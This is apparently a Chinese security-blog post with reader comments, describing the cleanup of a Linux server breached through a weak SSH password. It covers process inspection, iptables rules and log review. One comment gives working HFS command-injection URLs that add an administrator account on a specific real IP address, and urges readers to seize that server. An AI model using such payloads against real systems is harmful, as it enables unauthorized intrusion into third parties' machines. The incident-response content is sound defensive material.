记一次Linux服务器被入侵后的检测过程

2015-03-04 1168942人围观 ,发现 53 个不明物体 系统安全网络安全

0×00 前言

故事是这样的,大年初一,客户反应他们服务器无法访问,查看路由,发现某oracle+tomcat服务器UDP流量超大,把带宽占完了,过年嘛,客户那边先找了当地的技术人员弄了几天没搞定,然后没办法大年初三的找我们弄…顾客是上帝!

其实吧以前也遇到过这类攻击,当时某IDC都被打瘫了,只不过马儿不在我们的设备上,所以没过多关注…

0×01 查找木马

首先SSH登陆,top查看进程,发现奇怪名字的命令gejfhzthbp,一看就感觉有问题。

lsof –c gejfhzthbp

查看关联文件,发现对外的tcp连接,不知道是不是反向shell…

执行命令 

Whereis  gejfhzthbp       
ls  -al  gejfhzthbp

查看文件路径。并查看文件创建时间,与入侵时间吻合。

顺便把文件拷贝下来放到kali虚拟机试了下威力,几秒钟的结果如下…

之前还以为是外国人搞的,这应该能证明是国人搞的了…


0×02 恢复业务 

首先kill进程,结果肯定没那么简单,进程换个名字又出来了

中间尝试过很多过程,ps –ef |grep  发现父进程每次不一样,关联进程有时是sshd,有时是pwdls,中间装了个VNC连接,然后关闭ssh服务,同样无效,而且kill几次之后发现父进程变成了1 ,水平有限,生产服务器,还是保守治疗,以业务为主吧… 

既然被人入侵了,首先还是把防火墙的SSH映射关掉吧,毕竟服务器现在还要用,还是写几条iptables规则吧

iptables -A OUTPUT -o lo -j ACCEPT

允许本机访问本机

iptables -A OUTPUT -m state --state ESTABLISHED -j ACCEPT

允许主动访问本服务器的请求

iptables -A OUTPUT –p tcp –d 192.168.1.235 -jACCEPT

允许服务器主动访问的IP白名单

iptables -A DROP

拒绝对外访问

到此,业务恢复正常。

0×03 查找原因

其实原因一开始我就意识到了是SSH的问题,只是先要帮人把业务恢复了再说,web端口方面就只有tomcat的,web漏洞都查过了,什么struts2manager页面,还有一些常规web漏洞均不会存在,除非有0day….  Oracle也不外连,只有个SSH

基于这一点,我直接root账户ssh登陆日志,翻啊翻,终于….

cd /var/log     less secure

如上图,使用印尼IP爆破成功,而后面服务器内网IP登陆竟然是失败,问了客户,算是明白了怎么回事,他们年底加设备,给服务器临时改了弱密码方便各种第三方技术人员调试,然后估计忘了改回来,结果悲剧了,被坏人登陆了不说,root密码还被改,自己都登不上…不知道他们老板知不知道…

继续查看history文件,看人家都干了些什么。

坏人的操作过程基本就在这里了,他执行了好多脚本,谁知道他干了多少事,还是建议客户重装系统吧…

0×04 后记

主要还是自己经验尚浅,linux运维玩的不熟,不知道怎么把马儿彻底赶出去…大牛勿喷。

[作者/哈兹本德,属FreeBuf原创奖励计划文章,未经许可禁止转载]

相关推荐

这些评论亮了

  • p0tt1 (6级) 黑客叔叔,RainRaid和SniFFeR.Pro团队负责人 回复
    最后一张图 坏人执行wget
    http://222.186.134.6:6678/ 去下载东西
    想了解这个坏人 请执行
    http://222.186.134.6:6678/?search==%00{.exec|cmd.exe /c net user DBmaker !@#qweASD /add.}
    http://222.186.134.6:6678/?search==%00{.exec|cmd.exe /c net localgroup administrators DBmaker /add.}
    拿到222.186.134.6的服务器管理员权限,这机器也是被HFS抓鸡了~
    你登上去看看就好 看看HFS 的日志 就知道还有哪些地方中招了~
    请叫我红领巾 不谢~
    对了,成功拿到权限之后你可能会去登陆3389
    其实,其他端口,哪些能连接的我就不说了
    )111( 亮了
  • leng_que (3级) 系统错误,请稍后再试…… 回复
    跟我遇到的一个木马很像,也是这样的进程名称(10个随机小写字母)。
    分析了一下,它除了自身进程外,还有5个守护进程,而且这5个进程的PID和名称每秒都在变化,估计是在不停的重建吧。
    这个木马释放以下文件:
    /etc/cron.hourly/cron.sh
    /usr/bin/xxxxxxxxxx(10个随机小写字母)
    /lib/libgcc.so
    以及添加服务启动项(chkconfig可以看到,或者到/etc/rc3.d/等这些跟Linux自动启相关的目录中都可以看到,服务名为:S90xxxxxxxxxx)
    这个/etc/cron.hourly/cron.sh脚本执行的操作为:没隔20秒执行一次,首先检查系统中有多少网卡,然后全部up起来,再把/lib/libgcc.so拷贝一份为/lib/libgcc.so.bak,然后运行/lib/libgcc.so.bak(/lib/libgcc.so.bak与xxxxxxxxxx是一样的内容)
    跟这个木马死磕了很久,我一开始也是发现kill不掉,包括删除它的服务启动项甚至破坏它的启动文件等等都不行,只要守护进程在,kill掉后立马启动一个新的,而且名字还会变,并且父进程PID都是1(即:进程/亲爱的in/init),这里我就不太明白了(为何其父进程是init?),起初我还以为是init进程被感染了,当然,后面确认init进程没问题,因为木马被清掉了,而且没有动过init。
    好了,还是说说怎么干掉这个木马吧,因为它的守护进程的PID在不停的改变,但是因为是新创建的进程,所以PID都是大于这个木马的主进程的(就是联网的那个),于是我用以下命令:
    ps -e | awk '$1>=1605 {print $1}' | xargs kill -9
    这个做法比较简单粗暴,我这里发现木马主进程的PID是1605,而且1605之后都是木马的守护进程,没有其它的重要进程,所以一并kill了。如果要做得更好些,可以把 $1>=1605 这个条件写得更合理些,用正则表达式匹配之类的。
    杀掉木马进程后记得把前面提到的那个脚本和文件也删了,否则你会发现20秒后木马又特么的复活了
    )32( 亮了
  • @ ubuntu  你直接访问http://222.186.134.6:6678/不就发现了,上面清楚的写着“HttpFileServer v2.3 beta 287 随波汉化版”,然后你直接百度“HttpFileServer v2.3 beta 287 随波汉化版”会发现“ 人工少女3高压v2.3” 嘿嘿嘿
    )22( 亮了
  • 發哥 回复
    笨孩子 第一件事就该是查看常见的操作日志 怎么弄到了最后!
    )15( 亮了
  • he1en 回复
    我对此事负责!
    )14( 亮了
发表评论

已有 53 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

1 文章数 20 评论数 0 关注者

文章目录

    特别推荐

    推荐关注

    官方公众号

    聚焦企业安全

    填写个人信息

    姓名
    电话
    邮箱
    公司
    行业
    职位
    css.php